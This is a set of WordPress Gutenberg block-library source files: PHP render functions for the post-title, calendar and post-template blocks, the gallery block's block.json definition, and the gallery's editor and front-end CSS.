 * @param WP_Block $block      Block instance.
 *
 * @return string Returns the filtered post title for the current post wrapped inside "h1" tags.
 */
function render_block_core_post_title( $attributes, $content, $block ) {
	if ( ! isset( $block->context['postId'] ) ) {
		return '';
	}

	/**
	 * The `$post` argument is intentionally omitted so that changes are reflected when previewing a post.
	 * See: https://github.com/WordPress/gutenberg/pull/37622#issuecomment-1000932816.
	 */
	$title = get_the_title();

	if ( ! $title ) {
		return '';
	}

	$tag_name = 'h2';
	if ( isset( $attributes['level'] ) ) {
		$tag_name = 'h' . $attributes['level'];
	}

	if ( isset( $attributes['isLink'] ) && $attributes['isLink'] ) {
		$rel   = ! empty( $attributes['rel'] ) ? 'rel="' . esc_attr( $attributes['rel'] ) . '"' : '';
		$title = sprintf( '<a href="%1$s" target="%2$s" %3$s>%4$s</a>', esc_url( get_the_permalink( $block->context['postId'] ) ), esc_attr( $attributes['linkTarget'] ), $rel, $title );
	}

	$classes = array();
	if ( isset( $attributes['textAlign'] ) ) {
		$classes[] = 'has-text-align-' . $attributes['textAlign'];
	}
	if ( isset( $attributes['style']['elements']['link']['color']['text'] ) ) {
		$classes[] = 'has-link-color';
	}
	$wrapper_attributes = get_block_wrapper_attributes( array( 'class' => implode( ' ', $classes ) ) );

	return sprintf(
		'<%1$s %2$s>%3$s</%1$s>',
		$tag_name,
		$wrapper_attributes,
		$title
	);
}

/**
 * Registers the `core/post-title` block on the server.
 */
function register_block_core_post_title() {
	register_block_type_from_metadata(
		__DIR__ . '/post-title',
		array(
			'render_callback' => 'render_block_core_post_title',
		)
	);
}
add_action( 'init', 'register_block_core_post_title' );
<?php
/**
 * Server-side rendering of the `core/calendar` block.
 *
 * @package WordPress
 */

/**
 * Renders the `core/calendar` block on server.
 *
 * @param array $attributes The block attributes.
 *
 * @return string Returns the block content.
 */
function render_block_core_calendar( $attributes ) {
	global $monthnum, $year;

	// Calendar shouldn't be rendered
	// when there are no published posts on the site.
	if ( ! block_core_calendar_has_published_posts() ) {
		if ( is_user_logged_in() ) {
			return '<div>' . __( 'The calendar block is hidden because there are no published posts.' ) . '</div>';
		}
		return '';
	}

	$previous_monthnum = $monthnum;
	$previous_year     = $year;

	if ( isset( $attributes['month'] ) && isset( $attributes['year'] ) ) {
		$permalink_structure = get_option( 'permalink_structure' );
		if (
			str_contains( $permalink_structure, '%monthnum%' ) &&
			str_contains( $permalink_structure, '%year%' )
		) {
			$monthnum = $attributes['month'];
			$year     = $attributes['year'];
		}
	}

	$color_block_styles = array();

	// Text color.
	$preset_text_color          = array_key_exists( 'textColor', $attributes ) ? "var:preset|color|{$attributes['textColor']}" : null;
	$custom_text_color          = $attributes['style']['color']['text'] ?? null;
	$color_block_styles['text'] = $preset_text_color ? $preset_text_color : $custom_text_color;

	// Background Color.
	$preset_background_color          = array_key_exists( 'backgroundColor', $attributes ) ? "var:preset|color|{$attributes['backgroundColor']}" : null;
	$custom_background_color          = $attributes['style']['color']['background'] ?? null;
	$color_block_styles['background'] = $preset_background_color ? $preset_background_color : $custom_background_color;

	// Generate color styles and classes.
	$styles        = wp_style_engine_get_styles( array( 'color' => $color_block_styles ), array( 'convert_vars_to_classnames' => true ) );
	$inline_styles = empty( $styles['css'] ) ? '' : sprintf( ' style="%s"', esc_attr( $styles['css'] ) );
	$classnames    = empty( $styles['classnames'] ) ? '' : ' ' . esc_attr( $styles['classnames'] );
	if ( isset( $attributes['style']['elements']['link']['color']['text'] ) ) {
		$classnames .= ' has-link-color';
	}
	// Apply color classes and styles to the calendar.
	$calendar = str_replace( '<table', '<table' . $inline_styles, get_calendar( true, false ) );
	$calendar = str_replace( 'class="wp-calendar-table', 'class="wp-calendar-table' . $classnames, $calendar );

	$wrapper_attributes = get_block_wrapper_attributes();
	$output             = sprintf(
		'<div %1$s>%2$s</div>',
		$wrapper_attributes,
		$calendar
	);

	$monthnum = $previous_monthnum;
	$year     = $previous_year;

	return $output;
}

/**
 * Registers the `core/calendar` block on server.
 */
function register_block_core_calendar() {
	register_block_type_from_metadata(
		__DIR__ . '/calendar',
		array(
			'render_callback' => 'render_block_core_calendar',
		)
	);
}

add_action( 'init', 'register_block_core_calendar' );

/**
 * Returns whether or not there are any published posts.
 *
 * Used to hide the calendar block when there are no published posts.
 * This compensates for a known Core bug: https://core.trac.wordpress.org/ticket/12016
 *
 * @return bool Has any published posts or not.
 */
function block_core_calendar_has_published_posts() {
	// Multisite already has an option that stores the count of the published posts.
	// Let's use that for multisites.
	if ( is_multisite() ) {
		return 0 < (int) get_option( 'post_count' );
	}

	// On single sites we try our own cached option first.
	$has_published_posts = get_option( 'wp_calendar_block_has_published_posts', null );
	if ( null !== $has_published_posts ) {
		return (bool) $has_published_posts;
	}

	// No cache hit, let's update the cache and return the cached value.
	return block_core_calendar_update_has_published_posts();
}

/**
 * Queries the database for any published post and saves
 * a flag whether any published post exists or not.
 *
 * @return bool Has any published posts or not.
 */
function block_core_calendar_update_has_published_posts() {
	global $wpdb;
	$has_published_posts = (bool) $wpdb->get_var( "SELECT 1 as test FROM {$wpdb->posts} WHERE post_type = 'post' AND post_status = 'publish' LIMIT 1" );
	update_option( 'wp_calendar_block_has_published_posts', $has_published_posts );
	return $has_published_posts;
}

// We only want to register these functions and actions when
// we are on single sites. On multi sites we use `post_count` option.
if ( ! is_multisite() ) {
	/**
	 * Handler for updating the has published posts flag when a post is deleted.
	 *
	 * @param int $post_id Deleted post ID.
	 */
	function block_core_calendar_update_has_published_post_on_delete( $post_id ) {
		$post = get_post( $post_id );

		if ( ! $post || 'publish' !== $post->post_status || 'post' !== $post->post_type ) {
			return;
		}

		block_core_calendar_update_has_published_posts();
	}

	/**
	 * Handler for updating the has published posts flag when a post status changes.
	 *
	 * @param string  $new_status The status the post is changing to.
	 * @param string  $old_status The status the post is changing from.
	 * @param WP_Post $post       Post object.
	 */
	function block_core_calendar_update_has_published_post_on_transition_post_status( $new_status, $old_status, $post ) {
		if ( $new_status === $old_status ) {
			return;
		}

		if ( 'post' !== get_post_type( $post ) ) {
			return;
		}

		if ( 'publish' !== $new_status && 'publish' !== $old_status ) {
			return;
		}

		block_core_calendar_update_has_published_posts();
	}

	add_action( 'delete_post', 'block_core_calendar_update_has_published_post_on_delete' );
	add_action( 'transition_post_status', 'block_core_calendar_update_has_published_post_on_transition_post_status', 10, 3 );
}
<?php
/**
 * Server-side rendering of the `core/post-template` block.
 *
 * @package WordPress
 */

/**
 * Determines whether a block list contains a block that uses the featured image.
 *
 * @param WP_Block_List $inner_blocks Inner block instance.
 *
 * @return bool Whether the block list contains a block that uses the featured image.
 */
function block_core_post_template_uses_featured_image( $inner_blocks ) {
	foreach ( $inner_blocks as $block ) {
		if ( 'core/post-featured-image' === $block->name ) {
			return true;
		}
		if (
			'core/cover' === $block->name &&
			! empty( $block->attributes['useFeaturedImage'] )
		) {
			return true;
		}
		if ( $block->inner_blocks && block_core_post_template_uses_featured_image( $block->inner_blocks ) ) {
			return true;
		}
	}

	return false;
}

/**
 * Renders the `core/post-template` block on the server.
 *
 * @since 6.3.0 Changed render_block_context priority to `1`.
 *
 * @param array    $attributes Block attributes.
 * @param string   $content    Block default content.
 * @param WP_Block $block      Block instance.
 *
 * @return string Returns the output of the query, structured using the layout defined by the block's inner blocks.
 */
function render_block_core_post_template( $attributes, $content, $block ) {
	$page_key            = isset( $block->context['queryId'] ) ? 'query-' . $block->context['queryId'] . '-page' : 'query-page';
	$enhanced_pagination = isset( $block->context['enhancedPagination'] ) && $block->context['enhancedPagination'];
	$page                = empty( $_GET[ $page_key ] ) ? 1 : (int) $_GET[ $page_key ];

	// Use global query if needed.
	$use_global_query = ( isset( $block->context['query']['inherit'] ) && $block->context['query']['inherit'] );
	if ( $use_global_query ) {
		global $wp_query;

		/*
		 * If already in the main query loop, duplicate the query instance to not tamper with the main instance.
		 * Since this is a nested query, it should start at the beginning, therefore rewind posts.
		 * Otherwise, the main query loop has not started yet and this block is responsible for doing so.
		 */
		if ( in_the_loop() ) {
			$query = clone $wp_query;
			$query->rewind_posts();
		} else {
			$query = $wp_query;
		}
	} else {
		$query_args = build_query_vars_from_query_block( $block, $page );
		$query      = new WP_Query( $query_args );
	}

	if ( ! $query->have_posts() ) {
		return '';
	}

	if ( block_core_post_template_uses_featured_image( $block->inner_blocks ) ) {
		update_post_thumbnail_cache( $query );
	}

	$classnames = '';
	if ( isset( $block->context['displayLayout'] ) && isset( $block->context['query'] ) ) {
		if ( isset( $block->context['displayLayout']['type'] ) && 'flex' === $block->context['displayLayout']['type'] ) {
			$classnames = "is-flex-container columns-{$block->context['displayLayout']['columns']}";
		}
	}
	if ( isset( $attributes['style']['elements']['link']['color']['text'] ) ) {
		$classnames .= ' has-link-color';
	}

	// Ensure backwards compatibility by flagging the number of columns via classname when using grid layout.
	if ( isset( $attributes['layout']['type'] ) && 'grid' === $attributes['layout']['type'] && ! empty( $attributes['layout']['columnCount'] ) ) {
		$classnames .= ' ' . sanitize_title( 'columns-' . $attributes['layout']['columnCount'] );
	}

	$wrapper_attributes = get_block_wrapper_attributes( array( 'class' => trim( $classnames ) ) );

	$content = '';
	while ( $query->have_posts() ) {
		$query->the_post();

		// Get an instance of the current Post Template block.
		$block_instance = $block->parsed_block;

		// Set the block name to one that does not correspond to an existing registered block.
		// This ensures that for the inner instances of the Post Template block, we do not render any block supports.
		$block_instance['blockName'] = 'core/null';

		$post_id              = get_the_ID();
		$post_type            = get_post_type();
		$filter_block_context = static function ( $context ) use ( $post_id, $post_type ) {
			$context['postType'] = $post_type;
			$context['postId']   = $post_id;
			return $context;
		};

		// Use an early priority to so that other 'render_block_context' filters have access to the values.
		add_filter( 'render_block_context', $filter_block_context, 1 );
		// Render the inner blocks of the Post Template block with `dynamic` set to `false` to prevent calling
		// `render_callback` and ensure that no wrapper markup is included.
		$block_content = ( new WP_Block( $block_instance ) )->render( array( 'dynamic' => false ) );
		remove_filter( 'render_block_context', $filter_block_context, 1 );

		// Wrap the render inner blocks in a `li` element with the appropriate post classes.
		$post_classes = implode( ' ', get_post_class( 'wp-block-post' ) );

		$inner_block_directives = $enhanced_pagination ? ' data-wp-key="post-template-item-' . $post_id . '"' : '';

		$content .= '<li' . $inner_block_directives . ' class="' . esc_attr( $post_classes ) . '">' . $block_content . '</li>';
	}

	/*
	 * Use this function to restore the context of the template tags
	 * from a secondary query loop back to the main query loop.
	 * Since we use two custom loops, it's safest to always restore.
	*/
	wp_reset_postdata();

	return sprintf(
		'<ul %1$s>%2$s</ul>',
		$wrapper_attributes,
		$content
	);
}

/**
 * Registers the `core/post-template` block on the server.
 */
function register_block_core_post_template() {
	register_block_type_from_metadata(
		__DIR__ . '/post-template',
		array(
			'render_callback'   => 'render_block_core_post_template',
			'skip_inner_blocks' => true,
		)
	);
}
add_action( 'init', 'register_block_core_post_template' );
{
	"$schema": "https://schemas.wp.org/trunk/block.json",
	"apiVersion": 3,
	"name": "core/gallery",
	"title": "Gallery",
	"category": "media",
	"allowedBlocks": [ "core/image" ],
	"description": "Display multiple images in a rich gallery.",
	"keywords": [ "images", "photos" ],
	"textdomain": "default",
	"attributes": {
		"images": {
			"type": "array",
			"default": [],
			"source": "query",
			"selector": ".blocks-gallery-item",
			"query": {
				"url": {
					"type": "string",
					"source": "attribute",
					"selector": "img",
					"attribute": "src"
				},
				"fullUrl": {
					"type": "string",
					"source": "attribute",
					"selector": "img",
					"attribute": "data-full-url"
				},
				"link": {
					"type": "string",
					"source": "attribute",
					"selector": "img",
					"attribute": "data-link"
				},
				"alt": {
					"type": "string",
					"source": "attribute",
					"selector": "img",
					"attribute": "alt",
					"default": ""
				},
				"id": {
					"type": "string",
					"source": "attribute",
					"selector": "img",
					"attribute": "data-id"
				},
				"caption": {
					"type": "rich-text",
					"source": "rich-text",
					"selector": ".blocks-gallery-item__caption"
				}
			}
		},
		"ids": {
			"type": "array",
			"items": {
				"type": "number"
			},
			"default": []
		},
		"shortCodeTransforms": {
			"type": "array",
			"items": {
				"type": "object"
			},
			"default": []
		},
		"columns": {
			"type": "number",
			"minimum": 1,
			"maximum": 8
		},
		"caption": {
			"type": "rich-text",
			"source": "rich-text",
			"selector": ".blocks-gallery-caption"
		},
		"imageCrop": {
			"type": "boolean",
			"default": true
		},
		"randomOrder": {
			"type": "boolean",
			"default": false
		},
		"fixedHeight": {
			"type": "boolean",
			"default": true
		},
		"linkTarget": {
			"type": "string"
		},
		"linkTo": {
			"type": "string"
		},
		"sizeSlug": {
			"type": "string",
			"default": "large"
		},
		"allowResize": {
			"type": "boolean",
			"default": false
		}
	},
	"providesContext": {
		"allowResize": "allowResize",
		"imageCrop": "imageCrop",
		"fixedHeight": "fixedHeight"
	},
	"supports": {
		"anchor": true,
		"align": true,
		"html": false,
		"units": [ "px", "em", "rem", "vh", "vw" ],
		"spacing": {
			"margin": true,
			"padding": true,
			"blockGap": [ "horizontal", "vertical" ],
			"__experimentalSkipSerialization": [ "blockGap" ],
			"__experimentalDefaultControls": {
				"blockGap": true,
				"margin": false,
				"padding": false
			}
		},
		"color": {
			"text": false,
			"background": true,
			"gradients": true
		},
		"layout": {
			"allowSwitching": false,
			"allowInheriting": false,
			"allowEditing": false,
			"default": {
				"type": "flex"
			}
		},
		"interactivity": {
			"clientNavigation": true
		}
	},
	"editorStyle": "wp-block-gallery-editor",
	"style": "wp-block-gallery"
}
.blocks-gallery-caption{
  color:#555;
  font-size:13px;
  text-align:center;
}
.is-dark-theme .blocks-gallery-caption{
  color:#ffffffa6;
}figure.wp-block-gallery{display:block}figure.wp-block-gallery>.blocks-gallery-caption{flex:0 0 100%}figure.wp-block-gallery>.blocks-gallery-media-placeholder-wrapper{flex-basis:100%}figure.wp-block-gallery .wp-block-image .components-notice.is-error{display:block}figure.wp-block-gallery .wp-block-image .components-notice__content{margin:4px 0}figure.wp-block-gallery .wp-block-image .components-notice__dismiss{position:absolute;right:5px;top:0}figure.wp-block-gallery .block-editor-media-placeholder.is-appender .components-placeholder__label{display:none}figure.wp-block-gallery .block-editor-media-placeholder.is-appender .block-editor-media-placeholder__button{margin-bottom:0}figure.wp-block-gallery .block-editor-media-placeholder{margin:0}figure.wp-block-gallery .block-editor-media-placeholder .components-placeholder__label{display:flex}figure.wp-block-gallery .block-editor-media-placeholder figcaption{z-index:2}figure.wp-block-gallery .components-spinner{left:50%;margin-left:-9px;margin-top:-9px;position:absolute;top:50%}.gallery-settings-buttons .components-button:first-child{margin-right:8px}.gallery-image-sizes .components-base-control__label{display:block;margin-bottom:4px}.gallery-image-sizes .gallery-image-sizes__loading{align-items:center;color:#757575;display:flex;font-size:12px}.gallery-image-sizes .components-spinner{margin:0 8px 0 4px}.blocks-gallery-item figure:not(.is-selected):focus,.blocks-gallery-item img:focus{outline:none}.blocks-gallery-item figure.is-selected:before{bottom:0;box-shadow:0 0 0 1px #fff inset,0 0 0 3px var(--wp-admin-theme-color) inset;content:"";left:0;outline:2px solid #0000;pointer-events:none;position:absolute;right:0;top:0;z-index:1}.blocks-gallery-item figure.is-transient img{opacity:.3}.blocks-gallery-item .is-selected .block-library-gallery-item__inline-menu{display:inline-flex}.blocks-gallery-item .block-editor-media-placeholder{height:100%;margin:0}.blocks-gallery-item .block-editor-media-placeholder .components-placeholder__label{display:flex}.block-library-gallery-item__inline-menu{background:#fff;border:1px solid #1e1e1e;border-radius:2px;display:none;margin:8px;position:absolute;top:-2px;transition:box-shadow .2s ease-out;z-index:20}@media (prefers-reduced-motion:reduce){.block-library-gallery-item__inline-menu{transition-delay:0s;transition-duration:0s}}.block-library-gallery-item__inline-menu:hover{box-shadow:0 .7px 1px #0000001a,0 1.2px 1.7px -.2px #0000001a,0 2.3px 3.3px -.5px #0000001a}@media (min-width:600px){.columns-7 .block-library-gallery-item__inline-menu,.columns-8 .block-library-gallery-item__inline-menu{padding:2px}}.block-library-gallery-item__inline-menu .components-button.has-icon:not(:focus){border:none;box-shadow:none}@media (min-width:600px){.columns-7 .block-library-gallery-item__inline-menu .components-button.has-icon,.columns-8 .block-library-gallery-item__inline-menu .components-button.has-icon{height:inherit;padding:0;width:inherit}}.block-library-gallery-item__inline-menu.is-left{left:-2px}.block-library-gallery-item__inline-menu.is-right{right:-2px}.wp-block-gallery ul.blocks-gallery-grid{margin:0;padding:0}@media (min-width:600px){.wp-block-update-gallery-modal{max-width:480px}}.wp-block-update-gallery-modal-buttons{display:flex;gap:12px;justify-content:flex-end}.blocks-gallery-caption{
  color:#555;
  font-size:13px;
  text-align:center;
}
.is-dark-theme .blocks-gallery-caption{
  color:#ffffffa6;
}.blocks-gallery-caption{color:#555;font-size:13px;text-align:center}.is-dark-theme .blocks-gallery-caption{color:#ffffffa6}figure.wp-block-gallery{
  display:block;
}
figure.wp-block-gallery>.blocks-gallery-caption{
  flex:0 0 100%;
}
figure.wp-block-gallery>.blocks-gallery-media-placeholder-wrapper{
  flex-basis:100%;
}
figure.wp-block-gallery .wp-block-image .components-notice.is-error{
  display:block;
}
figure.wp-block-gallery .wp-block-image .components-notice__content{
  margin:4px 0;
}
figure.wp-block-gallery .wp-block-image .components-notice__dismiss{
  left:5px;
  position:absolute;
  top:0;
}
figure.wp-block-gallery .block-editor-media-placeholder.is-appender .components-placeholder__label{
  display:none;
}
figure.wp-block-gallery .block-editor-media-placeholder.is-appender .block-editor-media-placeholder__button{
  margin-bottom:0;
}
figure.wp-block-gallery .block-editor-media-placeholder{
  margin:0;
}
figure.wp-block-gallery .block-editor-media-placeholder .components-placeholder__label{
  display:flex;
}
figure.wp-block-gallery .block-editor-media-placeholder figcaption{
  z-index:2;
}
figure.wp-block-gallery .components-spinner{
  margin-right:-9px;
  margin-top:-9px;
  position:absolute;
  right:50%;
  top:50%;
}
.gallery-settings-buttons .components-button:first-child{
  margin-left:8px;
}

.gallery-image-sizes .components-base-control__label{
  display:block;
  margin-bottom:4px;
}
.gallery-image-sizes .gallery-image-sizes__loading{
  align-items:center;
  color:#757575;
  display:flex;
  font-size:12px;
}
.gallery-image-sizes .components-spinner{
  margin:0 4px 0 8px;
}
.blocks-gallery-item figure:not(.is-selected):focus,.blocks-gallery-item img:focus{
  outline:none;
}
.blocks-gallery-item figure.is-selected:before{
  bottom:0;
  box-shadow:0 0 0 1px #fff inset, 0 0 0 3px var(--wp-admin-theme-color) inset;
  content:"";
  left:0;
  outline:2px solid #0000;
  pointer-events:none;
  position:absolute;
  right:0;
  top:0;
  z-index:1;
}
.blocks-gallery-item figure.is-transient img{
  opacity:.3;
}
.blocks-gallery-item .is-selected .block-library-gallery-item__inline-menu{
  display:inline-flex;
}
.blocks-gallery-item .block-editor-media-placeholder{
  height:100%;
  margin:0;
}
.blocks-gallery-item .block-editor-media-placeholder .components-placeholder__label{
  display:flex;
}

.block-library-gallery-item__inline-menu{
  background:#fff;
  border:1px solid #1e1e1e;
  border-radius:2px;
  display:none;
  margin:8px;
  position:absolute;
  top:-2px;
  transition:box-shadow .2s ease-out;
  z-index:20;
}
@media (prefers-reduced-motion:reduce){
  .block-library-gallery-item__inline-menu{
    transition-delay:0s;
    transition-duration:0s;
  }
}
.block-library-gallery-item__inline-menu:hover{
  box-shadow:0 .7px 1px #0000001a,0 1.2px 1.7px -.2px #0000001a,0 2.3px 3.3px -.5px #0000001a;
}
@media (min-width:600px){
  .columns-7 .block-library-gallery-item__inline-menu,.columns-8 .block-library-gallery-item__inline-menu{
    padding:2px;
  }
}
.block-library-gallery-item__inline-menu .components-button.has-icon:not(:focus){
  border:none;
  box-shadow:none;
}
@media (min-width:600px){
  .columns-7 .block-library-gallery-item__inline-menu .components-button.has-icon,.columns-8 .block-library-gallery-item__inline-menu .components-button.has-icon{
    height:inherit;
    padding:0;
    width:inherit;
  }
}
.block-library-gallery-item__inline-menu.is-left{
  right:-2px;
}
.block-library-gallery-item__inline-menu.is-right{
  left:-2px;
}

.wp-block-gallery ul.blocks-gallery-grid{
  margin:0;
  padding:0;
}

@media (min-width:600px){
  .wp-block-update-gallery-modal{
    max-width:480px;
  }
}

.wp-block-update-gallery-modal-buttons{
  display:flex;
  gap:12px;
  justify-content:flex-end;
}.blocks-gallery-grid:not(.has-nested-images),.wp-block-gallery:not(.has-nested-images){
  display:flex;
  flex-wrap:wrap;
  list-style-type:none;
  margin:0;
  padding:0;
}
.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-image,.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-item,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-image,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-item{
  display:flex;
  flex-direction:column;
  flex-grow:1;
  justify-content:center;
  margin:0 1em 1em 0;
  position:relative;
  width:calc(50% - 1em);
}
.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-image:nth-of-type(2n),.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-item:nth-of-type(2n),.wp-block-gallery:not(.has-nested-images) .blocks-gallery-image:nth-of-type(2n),.wp-block-gallery:not(.has-nested-images) .blocks-gallery-item:nth-of-type(2n){
  margin-right:0;
}
.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-image figure,.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-item figure,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-image figure,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-item figure{
  align-items:flex-end;
  display:flex;
  height:100%;
  justify-content:flex-start;
  margin:0;
}
.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-image img,.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-item img,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-image img,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-item img{
  display:block;
  height:auto;
  max-width:100%;
  width:auto;
}
.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-image figcaption,.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-item figcaption,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-image figcaption,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-item figcaption{
  background:linear-gradient(0deg, #000000b3, #0000004d 70%, #0000);
  bottom:0;
  box-sizing:border-box;
  color:#fff;
  font-size:.8em;
  margin:0;
  max-height:100%;
  overflow:auto;
  padding:3em .77em .7em;
  position:absolute;
  text-align:center;
  width:100%;
  z-index:2;
}
.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-image figcaption img,.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-item figcaption img,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-image figcaption img,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-item figcaption img{
  display:inline;
}
.blocks-gallery-grid:not(.has-nested-images) figcaption,.wp-block-gallery:not(.has-nested-images) figcaption{
  flex-grow:1;
}
.blocks-gallery-grid:not(.has-nested-images).is-cropped .blocks-gallery-image a,.blocks-gallery-grid:not(.has-nested-images).is-cropped .blocks-gallery-image img,.blocks-gallery-grid:not(.has-nested-images).is-cropped .blocks-gallery-item a,.blocks-gallery-grid:not(.has-nested-images).is-cropped .blocks-gallery-item img,.wp-block-gallery:not(.has-nested-images).is-cropped .blocks-gallery-image a,.wp-block-gallery:not(.has-nested-images).is-cropped .blocks-gallery-image img,.wp-block-gallery:not(.has-nested-images).is-cropped .blocks-gallery-item a,.wp-block-gallery:not(.has-nested-images).is-cropped .blocks-gallery-item img{
  flex:1;
  height:100%;
  object-fit:cover;
  width:100%;
}
.blocks-gallery-grid:not(.has-nested-images).columns-1 .blocks-gallery-image,.blocks-gallery-grid:not(.has-nested-images).columns-1 .blocks-gallery-item,.wp-block-gallery:not(.has-nested-images).columns-1 .blocks-gallery-image,.wp-block-gallery:not(.has-nested-images).columns-1 .blocks-gallery-item{
  margin-right:0;
  width:100%;
}
@media (min-width:600px){
  .blocks-gallery-grid:not(.has-nested-images).columns-3 .blocks-gallery-image,.blocks-gallery-grid:not(.has-nested-images).columns-3 .blocks-gallery-item,.wp-block-gallery:not(.has-nested-images).columns-3 .blocks-gallery-image,.wp-block-gallery:not(.has-nested-images).columns-3 .blocks-gallery-item{
    margin-right:1em;
    width:calc(33.33333% - .66667em);
  }
  .blocks-gallery-grid:not(.has-nested-images).columns-4 .blocks-gallery-image,.blocks-gallery-grid:not(.has-nested-images).columns-4 .blocks-gallery-item,.wp-block-gallery:not(.has-nested-images).columns-4 .blocks-gallery-image,.wp-block-gallery:not(.has-nested-images).columns-4 .blocks-gallery-item{
    margin-right:1em;
    width:calc(25% - .75em);
  }
  .blocks-gallery-grid:not(.has-nested-images).columns-5 .blocks-gallery-image,.blocks-gallery-grid:not(.has-nested-images).columns-5 .blocks-gallery-item,.wp-block-gallery:not(.has-nested-images).columns-5 .blocks-gallery-image,.wp-block-gallery:not(.has-nested-images).columns-5 .blocks-gallery-item{
    margin-right:1em;
    width:calc(20% - .8em);
  }
  .blocks-gallery-grid:not(.has-nested-images).columns-6 .blocks-gallery-image,.blocks-gallery-grid:not(.has-nested-images).columns-6 .blocks-gallery-item,.wp-block-gallery:not(.has-nested-images).columns-6 .blocks-gallery-image,.wp-block-gallery:not(.has-nested-images).columns-6 .blocks-gallery-item{
    margin-right:1em;
    width:calc(16.66667% - .83333em);
  }
  .blocks-gallery-grid:not(.has-nested-images).columns-7 .blocks-gallery-image,.blocks-gallery-grid:not(.has-nested-images).columns-7 .blocks-gallery-item,.wp-block-gallery:not(.has-nested-images).columns-7 .blocks-gallery-image,.wp-block-gallery:not(.has-nested-images).columns-7 .blocks-gallery-item{
    margin-right:1em;
    width:calc(14.28571% - .85714em);
  }
  .blocks-gallery-grid:not(.has-nested-images).columns-8 .blocks-gallery-image,.blocks-gallery-grid:not(.has-nested-images).columns-8 .blocks-gallery-item,.wp-block-gallery:not(.has-nested-images).columns-8 .blocks-gallery-image,.wp-block-gallery:not(.has-nested-images).columns-8 .blocks-gallery-item{
    margin-right:1em;
    width:calc(12.5% - .875em);
  }
  .blocks-gallery-grid:not(.has-nested-images).columns-1 .blocks-gallery-image:nth-of-type(1n),.blocks-gallery-grid:not(.has-nested-images).columns-1 .blocks-gallery-item:nth-of-type(1n),.blocks-gallery-grid:not(.has-nested-images).columns-2 .blocks-gallery-image:nth-of-type(2n),.blocks-gallery-grid:not(.has-nested-images).columns-2 .blocks-gallery-item:nth-of-type(2n),.blocks-gallery-grid:not(.has-nested-images).columns-3 .blocks-gallery-image:nth-of-type(3n),.blocks-gallery-grid:not(.has-nested-images).columns-3 .blocks-gallery-item:nth-of-type(3n),.blocks-gallery-grid:not(.has-nested-images).columns-4 .blocks-gallery-image:nth-of-type(4n),.blocks-gallery-grid:not(.has-nested-images).columns-4 .blocks-gallery-item:nth-of-type(4n),.blocks-gallery-grid:not(.has-nested-images).columns-5 .blocks-gallery-image:nth-of-type(5n),.blocks-gallery-grid:not(.has-nested-images).columns-5 .blocks-gallery-item:nth-of-type(5n),.blocks-gallery-grid:not(.has-nested-images).columns-6 .blocks-gallery-image:nth-of-type(6n),.blocks-gallery-grid:not(.has-nested-images).columns-6 .blocks-gallery-item:nth-of-type(6n),.blocks-gallery-grid:not(.has-nested-images).columns-7 .blocks-gallery-image:nth-of-type(7n),.blocks-gallery-grid:not(.has-nested-images).columns-7 .blocks-gallery-item:nth-of-type(7n),.blocks-gallery-grid:not(.has-nested-images).columns-8 .blocks-gallery-image:nth-of-type(8n),.blocks-gallery-grid:not(.has-nested-images).columns-8 .blocks-gallery-item:nth-of-type(8n),.wp-block-gallery:not(.has-nested-images).columns-1 .blocks-gallery-image:nth-of-type(1n),.wp-block-gallery:not(.has-nested-images).columns-1 .blocks-gallery-item:nth-of-type(1n),.wp-block-gallery:not(.has-nested-images).columns-2 .blocks-gallery-image:nth-of-type(2n),.wp-block-gallery:not(.has-nested-images).columns-2 .blocks-gallery-item:nth-of-type(2n),.wp-block-gallery:not(.has-nested-images).columns-3 .blocks-gallery-image:nth-of-type(3n),.wp-block-gallery:not(.has-nested-images).columns-3 .blocks-gallery-item:nth-of-type(3n),.wp-block-gallery:not(.has-nested-images).columns-4 .blocks-gallery-image:nth-of-type(4n),.wp-block-gallery:not(.has-nested-images).columns-4 .blocks-gallery-item:nth-of-type(4n),.wp-block-gallery:not(.has-nested-images).columns-5 .blocks-gallery-image:nth-of-type(5n),.wp-block-gallery:not(.has-nested-images).columns-5 .blocks-gallery-item:nth-of-type(5n),.wp-block-gallery:not(.has-nested-images).columns-6 .blocks-gallery-image:nth-of-type(6n),.wp-block-gallery:not(.has-nested-images).columns-6 .blocks-gallery-item:nth-of-type(6n),.wp-block-gallery:not(.has-nested-images).columns-7 .blocks-gallery-image:nth-of-type(7n),.wp-block-gallery:not(.has-nested-images).columns-7 .blocks-gallery-item:nth-of-type(7n),.wp-block-gallery:not(.has-nested-images).columns-8 .blocks-gallery-image:nth-of-type(8n),.wp-block-gallery:not(.has-nested-images).columns-8 .blocks-gallery-item:nth-of-type(8n){
    margin-right:0;
  }
}
.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-image:last-child,.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-item:last-child,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-image:last-child,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-item:last-child{
  margin-right:0;
}
.blocks-gallery-grid:not(.has-nested-images).alignleft,.blocks-gallery-grid:not(.has-nested-images).alignright,.wp-block-gallery:not(.has-nested-images).alignleft,.wp-block-gallery:not(.has-nested-images).alignright{
  max-width:420px;
  width:100%;
}
.blocks-gallery-grid:not(.has-nested-images).aligncenter .blocks-gallery-item figure,.wp-block-gallery:not(.has-nested-images).aligncenter .blocks-gallery-item figure{
  justify-content:center;
}

.wp-block-gallery:not(.is-cropped) .blocks-gallery-item{
  align-self:flex-start;
}

